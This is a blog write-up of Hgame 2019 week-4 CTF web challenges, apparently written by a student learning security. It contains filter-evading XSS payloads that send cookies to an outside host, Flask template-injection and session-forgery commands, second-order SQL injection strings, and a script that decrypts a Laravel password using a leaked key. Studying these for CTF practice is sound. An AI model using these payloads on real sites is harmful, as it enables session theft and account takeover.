V0W's Blog

杭电Hgame2019-week4-WP

字数统计: 920阅读时长: 4 min
2019/02/23 Share

Web

HappyXSS

Description
同上周,但是增加了一点点难度。
URL http://118.25.18.223:7000/index.php

测试发现会将</script>替换成Happy!

1
2
<div>
substr(md5($_POST["code"]),0,4)===7ece<br> Happy! alert(xss') Happy! </div>

继续测试发现过滤的字符有:

1
2
</script>	svg		img		document	cookie	
" & #

找到一个payload,但是直接用肯定不行,加上img元素又会碰到其他的敏感字导致替换:

1
<select autofocus onfocus=alert(1)>

看了一叶飘零的WP,了解到可以通过ascii码拼接的方式bypass,自己XSS这块掌握的还是不熟==、

1
<input onfocus=javascript:eval(String.fromCharCode(119,105,110,100,111,119,46,108,111,99,97,116,105,111,110,46,104,114,101,102,61,34,104,116,116,112,58,47,47,49,50,55,46,48,46,48,46,49,58,50,53,48,48,48,47,63,115,61,34,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,59)); autofocus>

我还注意到另一位大佬,用字符串拼接的方式,因为""被过滤了,采用''或者反引号来拼接

1
2
3
4
5
6
7
<iframe src='javascript:var a = `btoa(documen` + `t`+`.cooki`+`e)`;
var b=decodeURIComponent(`%2f`);
var url =`http:` + b + b + `xss.wuhan5.cc` + b + `?cooki`+`e=` +eval(a);
var d = `<li` + `nk type=text/css rel=styleSheet hr`+ `ef=` + url +` />`;
var e = `docu` + `ment.write(\`` + d + `\`)`;
eval(e);
'></iframe>

1
PHPSESSID=5vbcci1j0uq760ucltd181pof5; Flag=hgame{Xss_1s_Re@llY_Haaaaaappy!!!}

happyPython

Description
flag 在管理员账号下
URL http://118.25.18.223:3001

flask开发,容易发现SSTI

1
http://118.25.18.223:3001/{{ url_for.__globals__ ['current_app'].config}}

拿到SECRET_KEY

1
'SECRET_KEY': '9RxdzNwq7!nOoK3*'

然后解密得到:

1
2
root@kali:~/Desktop/flask-session-cookie-manager-master# python session_cookie_manager.py decode -s '9RxdzNwq7!nOoK3*' -c '.eJwlj0FqQzEMBe_idRayJctWLvORZImGQAv_J6vSu8fQ3Wze8Oa3HHnG9VXur_Mdt3I8VrkXqJ1Z3EdSj2rDKkQfTZvX0WWQDZ2q2AjTOxMZ4oqwFTWNQgZ41R7MxoqeklJNnBDFpjRqDADe04cjG4iu6cAqXbc2sucst-LXmcfr5xnf-89E07WoYQ1wDt6wVQwj15xI3mSmrqC9e19x_kfU8vcBud0_WA.XG-00g.qGnRtXgk-258_eRyCypBxUeLDoM'
{u'csrf_token': u'83badd4231e0c6e62319b8607fd8834c298fade4', u'_fresh': True, u'user_id': u'1', u'_id': u'015669cc7f45e1b7b10e572a2c175974b7a8aa3243fc5644b33deebde1fb4e970c1a5e66b6a3cf9f91b9c4339b892426000c5fc7c36b09ad8c06a95a7a8ef5f8'}

将user改成admin,因为解密的数据只有一个id能算成admin,将id改成1。然后可以通过flask-session-cookie-manager,伪造session

1
root@kali:~/Desktop/flask-session-cookie-manager-master# python session_cookie_manager.py encode -s '9RxdzNwq7!nOoK3*' -t "{u'csrf_token': u'83badd4231e0c6e62319b8607fd8834c298fade4', u'_fresh': True, u'user_id': u'1', u'_id': u'015669cc7f45e1b7b10e572a2c175974b7a8aa3243fc5644b33deebde1fb4e970c1a5e66b6a3cf9f91b9c4339b892426000c5fc7c36b09ad8c06a95a7a8ef5f8'}"

happyPHP

Description
flag 在管理员账号下
URL http://118.25.18.223:3000/

发现源代码

1
<!--https://github.com/Lou00/laravel-->

2.25学习一波大佬的WP:

下载源码之后,直接搜索flag看看,发现\app\Http\Controllers\SessionsController.phpid=1时,出现flag

同时发现SQL操作:

1
2
3
$name = DB::select("SELECT name FROM `users` WHERE `name`='".Auth::user()->name."'");
session()->flash('info', 'hello '.$name[0]->name);
return redirect()->route('users.show');

这里的name就是我们的用户名,在注册的时候是可控的,并且也没有做任何过滤,注册后登陆造成二次注入,因此可以注出管理员的 E-Mail 和密码:

1
' UNION SELECT email FROM `users` WHERE `id` = 1#

登录后可以获得管理员的 E-Mail:`admin@hgame.com`

同样的方法拿到管理员的密码:

1
' UNION SELECT password FROM `users` WHERE `id` = 1#

可以看到是 base64 编码后的:

1
eyJpdiI6InJuVnJxZkN2ZkpnbnZTVGk5ejdLTHc9PSIsInZhbHVlIjoiRWFSXC80ZmxkT0dQMUdcL2FESzhlOHUxQWxkbXhsK3lCM3Mra0JBYW9Qb2RzPSIsIm1hYyI6IjU2ZTJiMzNlY2QyODI4ZmU2ZjQxN2M3ZTk4ZTlhNTg4YzA5N2YwODM0OTllMGNjNzIzN2JjMjc3NDFlODI5YWYifQ==

解码得到:

1
{"iv":"rnVrqfCvfJgnvSTi9z7KLw==","value":"EaR\/4fldOGP1G\/aDK8e8u1Aldmxl+yB3s+kBAaoPods=","mac":"56e2b33ecd2828fe6f417c7e98e9a588c097f083499e0cc7237bc27741e829af"}

发现密码是加密的,与\app\Http\Controllers\UsersController.php代码一致:

1
2
3
4
5
$user = User::create([
'name' => $request->name,
'email' => $request->email,
'password' => encrypt($request->password),
]);

接下来找解密方式:laravel cookie加密解密原理

Laravel主要是使用openssl_encrypt加密

1
openssl_decrypt($encrypt, 'AES-256-CBC', $key, 0, $iv);

这里的$encrypt使我们需要解密的内容,即上述 JSON 中的value

$iv就是上述 JSON 中的iv`了。

现在只差一个key了,Laravel的$key是指env的APP_KEY

在github上的这个项目有3次commit,其中一次删除的env文件中有,这一点易被忽略:

于是可以进行解密:

1
2
3
4
5
6
7
8
<?php
$value = 'EaR\/4fldOGP1G\/aDK8e8u1Aldmxl+yB3s+kBAaoPods=';
$key = base64_decode('9JiyApvLIBndWT69FUBJ8EQz6xXl5vBs7ofRDm9rogQ=');

$iv = base64_decode('rnVrqfCvfJgnvSTi9z7KLw==');

echo openssl_decrypt($value, 'AES-256-CBC', $key, 0, $iv);
?>

发现得到序列化字符串:

1
s:16:"9pqfPIer0Ir9UUfR";

即得到密码9pqfPIer0Ir9UUfR

管理员的账户密码都得到了,登陆即可见flag

CATALOG
  1. 1. Web
    1. 1.1. HappyXSS
    2. 1.2. happyPython
    3. 1.3. happyPHP